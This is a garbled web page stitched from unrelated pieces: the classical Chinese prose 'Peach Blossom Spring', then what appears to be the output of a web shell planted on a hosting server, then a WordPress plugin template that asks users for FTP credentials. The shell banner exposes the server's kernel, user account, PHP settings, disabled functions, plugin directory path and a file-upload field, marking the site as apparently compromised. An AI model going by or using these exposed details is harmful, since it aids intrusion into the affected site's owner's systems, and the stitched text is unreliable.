晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/public_html/wp-content/plugins/wpmudev-updates/template/sui/ |
Upload File : |
<?php /** * Dashboard popup template: Ask for FTP credentials before updating/installing. * * This is only loaded if direct FS access is not possible. * */ $ftp_host = preg_replace( '/www\./', '', wp_parse_url( admin_url(), PHP_URL_HOST ) ); $credentials = get_option( 'ftp_credentials', array( 'hostname' => '', 'username' => '', ) ); $credentials['hostname'] = defined( 'FTP_HOST' ) ? FTP_HOST : $credentials['hostname']; $credentials['username'] = defined( 'FTP_USER' ) ? FTP_USER : $credentials['username']; $hostname = isset( $credentials['hostname'] ) ? $credentials['hostname'] : ''; $username = isset( $credentials['username'] ) ? $credentials['username'] : ''; ?> <div class="sui-modal sui-modal-lg"> <div role="dialog" id="ftp-details" class="sui-modal-content sui-content-fade-in" aria-modal="true" aria-labelledby="ftpdialogTitle" aria-describedby="ftpdialogDescription"> <div class="sui-box"> <div class="sui-box-header"> <button class="sui-button-icon plugin-modal-close sui-button-float--right" data-modal-close="" > <i class="sui-icon-close sui-md" aria-hidden="true"></i> <span class="sui-screen-reader-text"><?php esc_html_e( 'Close this dialog.', 'wpmudev' ); ?></span> </button> <h3 class="sui-box-title" id="ftpdialogTitle"><?php esc_html_e( 'We need your help, boss!', 'wpmudev' ); ?></h3> </div> <form> <div class="sui-box-body"> <p id="ftpdialogDescription"> <?php esc_html_e( 'Hang on a minute... It looks like your WordPress site isn\'t configured to allow one-click installations of plugins and themes. But don\'t worry! You can still install this plugin by entering your server\'s FTP credentials here:', 'wpmudev' ); ?> </p> <div class="sui-notice sui-notice-error" style="display: none"> <p><?php esc_html_e( 'Failed to save credentials', 'wpmudev' ); ?></p> </div> <div class="sui-notice sui-notice-success" style="display: none"> <p><?php esc_html_e( 'Credential saved', 'wpmudev' ); ?></p> </div> <div class="sui-row"> <div class="sui-col-md-12"> <div class="sui-form-field"> <label for="ftp_user" class="sui-label"><?php esc_html_e( 'FTP Username', 'wpmudev' ); ?></label> <input type="text" id="ftp_user" <?php if ( defined( 'FTP_USER' ) ) : ?> readonly="readonly" value="<?php echo esc_attr( FTP_USER ); ?>" <?php else : ?> value="<?php echo esc_attr( $username ); ?>" <?php endif; ?> placeholder="username..." class="sui-form-control"/> </div> <div class="sui-form-field"> <label for="ftp_pass" class="sui-label"><?php esc_html_e( 'FTP Password', 'wpmudev' ); ?></label> <input type="password" id="ftp_pass" <?php if ( defined( 'FTP_PASS' ) ) : ?> readonly="readonly" value="<stored>" <?php else : ?> value="" <?php endif; ?> placeholder="*****" class="sui-form-control"/> </div> <label for="ftp_host" class="sui-label"><?php esc_html_e( 'FTP Host', 'wpmudev' ); ?></label> <input type="text" id="ftp_host" <?php if ( defined( 'FTP_HOST' ) ) : ?> readonly="readonly" value="<?php echo esc_attr( FTP_HOST ); ?>" <?php else : ?> value="<?php echo esc_attr( $hostname ); ?>" <?php endif; ?> placeholder="e.g. <?php echo esc_attr( $ftp_host ); ?>" class="sui-form-control"/> </div> </div> </div> <div class="sui-box-footer"> <div class="sui-row"> <div class="sui-col-md-12"> <p> <?php printf( __( 'Or you can %senable one-click installations%s on this site by adding the following details to <code>wp-config.php</code>:', 'wpmudev' ), '<a href="https://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants" target="_blank">', '</a>' ); ?> </p> <pre class="sui-code-snippet sui-no-copy"> define( 'FTP_USER', '<em>your FTP username</em>' );<br/> define( 'FTP_PASS', '<em>your FTP password</em>' );<br/> define( 'FTP_HOST', '<?php echo esc_html( $ftp_host ); ?>' ); </pre> <p><?php esc_html_e( 'We will remember these details for 15 minutes in case you want to install or, update something else.', 'wpmudev' ); ?></p> </div> </div> </div> <div class="sui-box-footer"> <input type="hidden" name="hash" value="<?php echo esc_attr( wp_create_nonce( 'credentials' ) ); ?>"/> <div class="sui-flex-child-right"> <a href="#" class="sui-button plugin-modal-close"><?php esc_html_e( 'Cancel', 'wpmudev' ); ?></a> <button class="sui-button sui-button-blue ftp-submit"> <span class="sui-loading-text"> <?php esc_html_e( 'Okay, continue!', 'wpmudev' ); ?> </span> <i class="sui-icon-loader sui-loading" aria-hidden="true"></i> </button> </div> </div> </form> </div> </div> </div>